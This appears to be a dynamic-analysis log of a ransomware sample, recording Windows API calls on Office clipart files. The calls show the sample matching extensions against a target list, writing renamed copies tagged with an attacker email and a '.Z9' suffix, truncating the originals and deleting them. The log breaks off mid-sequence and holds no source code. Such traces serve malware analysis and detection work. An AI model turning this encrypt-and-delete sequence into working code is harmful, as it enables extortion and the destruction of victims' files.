	[0088.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68
	[0088.767] lstrlenW (lpString=".dbf") returned 4
	[0088.767] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68
	[0088.767] lstrlenW (lpString=".1cd") returned 4
	[0088.767] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68
	[0088.767] lstrlenW (lpString=".jpg") returned 4
	[0088.767] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68
	[0088.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68
	[0088.767] lstrlenW (lpString=".doc") returned 4
	[0088.767] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.767] lstrlenW (lpString=".docx") returned 5
	[0088.767] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.767] lstrlenW (lpString=".pdf") returned 4
	[0088.767] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.767] lstrlenW (lpString=".xls") returned 4
	[0088.767] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.767] lstrlenW (lpString=".xlsx") returned 5
	[0088.767] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.767] lstrlenW (lpString=".ppt") returned 4
	[0088.767] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68
	[0088.767] lstrlenW (lpString=".zip") returned 4
	[0088.767] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.768] lstrlenW (lpString=".rar") returned 4
	[0088.768] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.768] lstrlenW (lpString=".bz2") returned 4
	[0088.768] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.768] lstrlenW (lpString=".7z") returned 3
	[0088.768] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68
	[0088.768] lstrlenW (lpString=".dbf") returned 4
	[0088.768] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68
	[0088.768] lstrlenW (lpString=".1cd") returned 4
	[0088.768] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68
	[0088.768] lstrlenW (lpString=".jpg") returned 4
	[0088.768] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.768] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0088.768] lstrlenW (lpString="BS00441_.WMF") returned 12
	[0088.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0088.769] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=3524) returned 1
	[0088.769] CloseHandle (hObject=0x35c) returned 1
	[0088.769] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf")) returned 0x220
	[0088.769] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0088.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0088.769] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.769] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0088.769] GetLastError () returned 0x0
	[0088.769] ReadFile (in: hFile=0x35c, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0xdc4, lpOverlapped=0x0) returned 1
	[0088.773] WriteFile (in: hFile=0x370, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xdd0, lpOverlapped=0x0) returned 1
	[0088.774] ReadFile (in: hFile=0x35c, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0088.774] WriteFile (in: hFile=0x370, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0088.774] SetEndOfFile (hFile=0x370) returned 1
	[0088.775] CloseHandle (hObject=0x370) returned 1
	[0088.775] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.775] SetEndOfFile (hFile=0x35c) returned 1
	[0088.776] CloseHandle (hObject=0x35c) returned 1
	[0088.776] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0088.777] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf")) returned 1
	[0088.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68
	[0088.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68
	[0088.777] lstrlenW (lpString=".doc") returned 4
	[0088.777] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.777] lstrlenW (lpString=".docx") returned 5
	[0088.777] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.777] lstrlenW (lpString=".pdf") returned 4
	[0088.777] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.777] lstrlenW (lpString=".xls") returned 4
	[0088.777] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.777] lstrlenW (lpString=".xlsx") returned 5
	[0088.777] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.777] lstrlenW (lpString=".ppt") returned 4
	[0088.777] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68
	[0088.777] lstrlenW (lpString=".zip") returned 4
	[0088.777] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.777] lstrlenW (lpString=".rar") returned 4
	[0088.777] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.777] lstrlenW (lpString=".bz2") returned 4
	[0088.777] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.777] lstrlenW (lpString=".7z") returned 3
	[0088.778] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68
	[0088.778] lstrlenW (lpString=".dbf") returned 4
	[0088.778] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68
	[0088.778] lstrlenW (lpString=".1cd") returned 4
	[0088.778] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68
	[0088.778] lstrlenW (lpString=".jpg") returned 4
	[0088.778] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68
	[0088.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68
	[0088.778] lstrlenW (lpString=".doc") returned 4
	[0088.778] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.778] lstrlenW (lpString=".docx") returned 5
	[0088.778] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.778] lstrlenW (lpString=".pdf") returned 4
	[0088.778] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.778] lstrlenW (lpString=".xls") returned 4
	[0088.778] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.778] lstrlenW (lpString=".xlsx") returned 5
	[0088.778] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.778] lstrlenW (lpString=".ppt") returned 4
	[0088.778] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68
	[0088.778] lstrlenW (lpString=".zip") returned 4
	[0088.778] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.778] lstrlenW (lpString=".rar") returned 4
	[0088.778] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.778] lstrlenW (lpString=".bz2") returned 4
	[0088.778] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.778] lstrlenW (lpString=".7z") returned 3
	[0088.778] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68
	[0088.778] lstrlenW (lpString=".dbf") returned 4
	[0088.779] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68
	[0088.779] lstrlenW (lpString=".1cd") returned 4
	[0088.779] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68
	[0088.779] lstrlenW (lpString=".jpg") returned 4
	[0088.779] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.779] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0088.779] lstrlenW (lpString="BS00442_.WMF") returned 12
	[0088.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0088.779] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=2488) returned 1
	[0088.779] CloseHandle (hObject=0x35c) returned 1
	[0088.779] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf")) returned 0x220
	[0088.779] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0088.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0088.780] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.780] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0088.780] GetLastError () returned 0x0
	[0088.780] ReadFile (in: hFile=0x35c, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x9b8, lpOverlapped=0x0) returned 1
	[0088.781] WriteFile (in: hFile=0x370, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x9c0, lpOverlapped=0x0) returned 1
	[0088.782] ReadFile (in: hFile=0x35c, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0088.782] WriteFile (in: hFile=0x370, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0088.783] SetEndOfFile (hFile=0x370) returned 1
	[0088.783] CloseHandle (hObject=0x370) returned 1
	[0088.790] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.790] SetEndOfFile (hFile=0x35c) returned 1
	[0088.791] CloseHandle (hObject=0x35c) returned 1
	[0088.791] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0088.791] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf")) returned 1
	[0088.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68
	[0088.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68
	[0088.792] lstrlenW (lpString=".doc") returned 4
	[0088.792] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.792] lstrlenW (lpString=".docx") returned 5
	[0088.792] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.792] lstrlenW (lpString=".pdf") returned 4
	[0088.792] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.792] lstrlenW (lpString=".xls") returned 4
	[0088.792] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.792] lstrlenW (lpString=".xlsx") returned 5
	[0088.792] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.792] lstrlenW (lpString=".ppt") returned 4
	[0088.792] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68
	[0088.792] lstrlenW (lpString=".zip") returned 4
	[0088.792] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.792] lstrlenW (lpString=".rar") returned 4
	[0088.792] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.792] lstrlenW (lpString=".bz2") returned 4
	[0088.792] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.792] lstrlenW (lpString=".7z") returned 3
	[0088.792] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68
	[0088.792] lstrlenW (lpString=".dbf") returned 4
	[0088.792] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68
	[0088.793] lstrlenW (lpString=".1cd") returned 4
	[0088.793] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68
	[0088.793] lstrlenW (lpString=".jpg") returned 4
	[0088.793] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68
	[0088.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68
	[0088.793] lstrlenW (lpString=".doc") returned 4
	[0088.793] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.793] lstrlenW (lpString=".docx") returned 5
	[0088.793] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.793] lstrlenW (lpString=".pdf") returned 4
	[0088.793] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.793] lstrlenW (lpString=".xls") returned 4
	[0088.793] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.793] lstrlenW (lpString=".xlsx") returned 5
	[0088.793] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.793] lstrlenW (lpString=".ppt") returned 4
	[0088.793] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68
	[0088.793] lstrlenW (lpString=".zip") returned 4
	[0088.793] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.793] lstrlenW (lpString=".rar") returned 4
	[0088.793] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.793] lstrlenW (lpString=".bz2") returned 4
	[0088.793] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.793] lstrlenW (lpString=".7z") returned 3
	[0088.793] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68
	[0088.793] lstrlenW (lpString=".dbf") returned 4
	[0088.793] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68
	[0088.793] lstrlenW (lpString=".1cd") returned 4
	[0088.793] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68
	[0088.793] lstrlenW (lpString=".jpg") returned 4
	[0088.794] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.794] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0088.794] lstrlenW (lpString="BS00443_.WMF") returned 12
	[0088.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0088.794] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=1676) returned 1
	[0088.794] CloseHandle (hObject=0x35c) returned 1
	[0088.794] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf")) returned 0x220
	[0088.794] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0088.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0088.794] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.794] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0088.795] GetLastError () returned 0x0
	[0088.795] ReadFile (in: hFile=0x35c, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x68c, lpOverlapped=0x0) returned 1
	[0089.006] WriteFile (in: hFile=0x370, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x690, lpOverlapped=0x0) returned 1
	[0089.011] ReadFile (in: hFile=0x35c, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.011] WriteFile (in: hFile=0x370, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0089.011] SetEndOfFile (hFile=0x370) returned 1
	[0089.043] CloseHandle (hObject=0x370) returned 1
	[0089.043] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.043] SetEndOfFile (hFile=0x35c) returned 1
	[0089.044] CloseHandle (hObject=0x35c) returned 1
	[0089.044] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0089.044] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf")) returned 1
	[0089.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68
	[0089.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68
	[0089.045] lstrlenW (lpString=".doc") returned 4
	[0089.045] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.045] lstrlenW (lpString=".docx") returned 5
	[0089.045] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.045] lstrlenW (lpString=".pdf") returned 4
	[0089.045] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.045] lstrlenW (lpString=".xls") returned 4
	[0089.045] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.045] lstrlenW (lpString=".xlsx") returned 5
	[0089.045] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.045] lstrlenW (lpString=".ppt") returned 4
	[0089.045] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68
	[0089.045] lstrlenW (lpString=".zip") returned 4
	[0089.045] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.045] lstrlenW (lpString=".rar") returned 4
	[0089.045] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.045] lstrlenW (lpString=".bz2") returned 4
